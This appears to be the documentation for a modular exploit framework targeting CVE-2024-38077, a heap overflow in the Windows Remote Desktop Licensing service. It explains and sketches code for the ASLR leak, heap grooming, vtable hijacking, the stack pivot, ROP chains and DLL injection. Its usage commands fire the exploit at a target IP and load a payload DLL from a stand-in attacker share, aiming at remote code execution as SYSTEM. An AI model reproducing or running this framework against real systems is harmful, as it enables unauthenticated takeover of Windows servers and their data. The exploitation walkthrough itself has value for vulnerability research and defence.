Modular exploit framework for CVE-2024-38077 (Windows RDL heap overflow) with ASLR bypass, heap grooming, ROP chain generation, and DLL injection payloads for pre-auth remote code execution.
This document explains each component of the framework, why it exists, and how the heap buffer overflow exploitation works in modern Windows.
Windows Remote Desktop Licensing Service (lserver.exe) contains a heap buffer overflow in the CDataCoding::DecodeData function.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILITY: Incorrect size calculation │
├─────────────────────────────────────────────────────────────┤
│ 1. Client sends Base64 data of size N │
│ 2. Server calculates: buffer_size = (N / 4) * 3 │
│ 3. Server allocates buffer of 'buffer_size' bytes │
│ 4. Actual Base64 decode writes: ceil(N * 3/4) bytes │
│ 5. If N is not a multiple of 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Concrete example:
(4001 / 4) * 3 = 1000 * 3 = 3000 bytes allocatedceil(4001 * 0.75) = 3001 bytes written┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FoundationLow-level utilities for memory manipulation.
Exploits need to:
# Pack/Unpack - Convert integers to bytes and vice versa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Cyclic Pattern - To identify crash offset
cyclic(100) # Generates De Bruijn sequence
cyclic_find(pattern, value) # Finds offset of value
# Alignment - Memory must be aligned
align(0x1003, 0x10) # → 0x1010 (aligns to 16 bytes)
Real problem: You cause a crash and RIP contains 0x61616171.
cyclic_find(pattern, 0x61616171) → exact offset!leak.py - ASLR BypassAddress Space Layout Randomization: Every boot/execution, addresses change.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Without knowing where memory is:
class LeakInfo:
"""Container for leaked addresses"""
heap_base: int # Heap base
ntdll_base: int # ntdll.dll base
kernel32_base: int # kernel32.dll base
# ...
class LeakProvider:
"""Orchestrator for leak sources"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Try each source until successful
| Source | How It Works | When to Use |
|---|---|---|
ManualLeakSource | User provides addresses | Lab/Debug with target access |
ResponseLeakSource | Extracts from RPC responses | If service leaks pointers |
TimingLeakSource | Timing side-channel | Theoretical, very difficult |
In demos/labs, you can:
--ntdll-base 0x7ffa...This simulates having a real leak, allowing you to test the rest of the chain.
target_model.py - Target MappingModeling of vulnerable and adjacent data structures.
Overflow ≠ Exploitation. We need to know:
class VulnerableBuffer:
"""The buffer that will overflow"""
allocation_size: int # How much was allocated
write_size: int # How much will be written
overflow_amount: int # Difference = overflow
def calculate_overflow(input_size):
# Simulates the calculation bug
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Object that will be corrupted (adjacent on heap)"""
fields: List[StructField]
has_vtable: bool # Has virtual table?
has_function_ptr: bool # Has function pointer?
# Hypothetical object based on reverse engineering
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Mapped fields
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Marks fields useful for exploitation:
vtable: If we overwrite it, we control method callscallback: If we overwrite it, we control when callback is calledwrite_primitive.py - Controlled WriteOverflow writes sequential data. But we need:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Builds overflow buffer with precise values
Layout:
[PADDING until offset] [CONTROLLED VALUE] [MORE DATA]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Place exact value at exact offset
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# Overwrite vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# Overwrite callback
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| Write | Result |
|---|---|
| AAAA... | Crash without control |
| Precise address at precise offset | Controlled execution |
heap_controller.py - Heap GroomingWindows uses LFH (Low Fragmentation Heap) and Segment Heap:
Grooming = Massaging the heap to a deterministic layout.
BEFORE GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Random allocations, unpredictable holes
AFTER GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Controlled layout, "holes" where we want
class HeapLayoutController:
def execute_full_groom(self):
# Phase 1: Fill existing holes
self.phase_fill(50)
# Phase 2: Activate LFH for the target bucket
# (Windows activates LFH after ~17 allocations of the same size)
self.phase_activate_lfh()
# Phase 3: Spray - create dense pattern
sprayed = self.phase_spray(200)
# Phase 4: Create strategic holes
# Release every N allocations
self.phase_create_holes(sprayed, interval=4)
# Phase 5: Stabilize
self.phase_stabilize()
trigger.py - Post-Corruption TriggerCorruption happened. Now what?
Current state:
- Memory corrupted ✓
- Malicious value written ✓
- But nobody USED that value yet!
We need the program to read and use the corrupted data.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# Implemented strategies:
class SecondRequestTrigger:
"""Makes a second RPC call that uses the corrupted object"""
class DestructorTrigger:
"""Disconnects - forces cleanup that uses corrupted pointers"""
class TimerTrigger:
"""Waits for internal timer to process corrupted state"""
1. First RPC call → Corruption occurs
2. Disconnect (trigger) → Server calls destructor
3. Destructor reads corrupted vtable → Calls our address
4. Controlled execution!
execution.py - Flow ControlRIP (x64) or EIP (x86) = Instruction Pointer
If we control the instruction pointer, we control execution.
class HijackMethod(Enum):
VTABLE = 0 # Most common in heap overflow
FUNCTION_PTR = 1 # Callback pointer
RETURN_ADDR = 2 # Stack overflow (not our case)
NORMAL OBJECT:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← Legitimate
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
AFTER CORRUPTION:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← OURS!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
When method1 is called → Executes our gadget!
Problem: vtable hijack gives us ONE call. We need more.
Solution: Stack Pivot
# Gadget that swaps RSP to where we have our ROP chain
xchg rax, rsp; ret # RAX = our address → RSP = our address
# Now the "stack" is our controlled area!
# Each RET jumps to the next gadget in our ROP chain
code_reuse.py - ROP ChainsDEP (Data Execution Prevention): Heap and Stack are NON-EXECUTABLE.
Shellcode on heap → CRASH (access violation - execute)
ROP = Return-Oriented Programming
We chain "gadgets" - small pieces of code ending in RET.
GADGET 1: pop rcx; ret ← Puts value into RCX
GADGET 2: pop rdx; ret ← Puts value into RDX
GADGET 3: call LoadLibraryA ← Calls function!
STACK/ROP CHAIN (our controlled area):
┌────────────────────┐
│ addr of pop_rcx │ ← RSP points here
├────────────────────┤
│ value for RCX │ ← Will be "popped" into RCX
├────────────────────┤
│ addr of pop_rdx │ ← RET goes here
├────────────────────┤
│ value for RDX │
├────────────────────┤
│ addr LoadLibraryA │ ← Finally calls!
└────────────────────┘
# Load DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain
# Allocate executable memory
build_virtual_alloc(size) → ROP chain + RAX = RWX address
# Execute command
build_winexec(cmd_addr) → ROP chain
payload.py - Semantic Payload| Type | Example | Result |
|---|---|---|
| Data | AAAAAA... | Crash |
| Intention | ROP + DLL path | DLL loaded |
class PayloadIntent(Enum):
CRASH_TEST = 0 # Verify if exploitation works
DLL_INJECT = 1 # Load our DLL
COMMAND_EXEC = 2 # Execute command
SHELLCODE = 3 # Execute shellcode via ROP
def build_dll_inject(dll_path: str) -> bytes:
"""
Final structure:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← Executes first
├──────────────────────────────┤
│ Padding │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ │ Path string
└──────────────────────────────┘
The ROP chain passes the string address to LoadLibraryA
"""
mitigations.py - Mitigation Awareness| Mitigation | What It Does | Our Bypass |
|---|---|---|
| DEP | Heap/Stack non-executable | ROP (code reuse) |
| ASLR | Randomized addresses | Info leak |
| CFG | Validates call targets | Call valid targets, then pivot |
| Stack Cookie | Detects stack overflow | We don't use stack overflow |
| Heap Hardening | Guard pages, etc | Careful grooming |
def adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # Mandatory
if mitigations.ASLR.enabled:
config["require_leak"] = True # Mandatory
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # More spray
┌─────────────────────────────────────────────────────────────────┐
│ EXPLOITATION FLOW │
└─────────────────────────────────────────────────────────────────┘
STAGE 1: LEAK (ASLR Bypass)
├─ Obtain memory addresses
├─ Input: manual or auto-leak
└─ Output: LeakInfo with module bases
↓
STAGE 2: ANALYZE (Target Mapping)
├─ Calculate overflow amount
├─ Identify adjacent objects
└─ Determine corruption offsets
↓
STAGE 3: GROOM (Heap Shaping)
├─ Fill → Activate LFH → Spray → Holes
├─ Create deterministic layout
└─ Prepare "landing zone" for vulnerable allocation
↓
STAGE 4: PAYLOAD (Build)
├─ Build ROP chain
├─ Include necessary strings/data
└─ Combine with overflow data
↓
STAGE 5: CORRUPT (Trigger Overflow)
├─ Send malicious RPC call
├─ Cause overflow
└─ Overwrite target (vtable/callback)
↓
STAGE 6: TRIGGER (Force Use)
├─ Disconnect or second call
├─ Force use of corrupted pointer
└─ Execution hijack
↓
STAGE 7: EXECUTE (RCE)
├─ ROP chain executes
├─ LoadLibraryA loads DLL
└─ ARBITRARY CODE EXECUTING!
↓
┌─────────────────────────────────────────────────────────────┐
│ RESULT: Reverse shell, backdoor, etc. as SYSTEM │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# Just check if service is running
python -m madlicense.poc -t 10.0.0.5 --check
# Dry run (does not send payload, simulates everything)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# Full DLL Injection
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# Execute calc.exe (classic PoC)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
This framework is intended for:
NOT for:
Key phrase:
"Exploiting a heap buffer overflow in modern Windows isn't just 'writing too much'. It's a precise chain of leak → groom → corrupt → trigger → execute."
The 9 Modules:
Without any one of these, there is no RCE.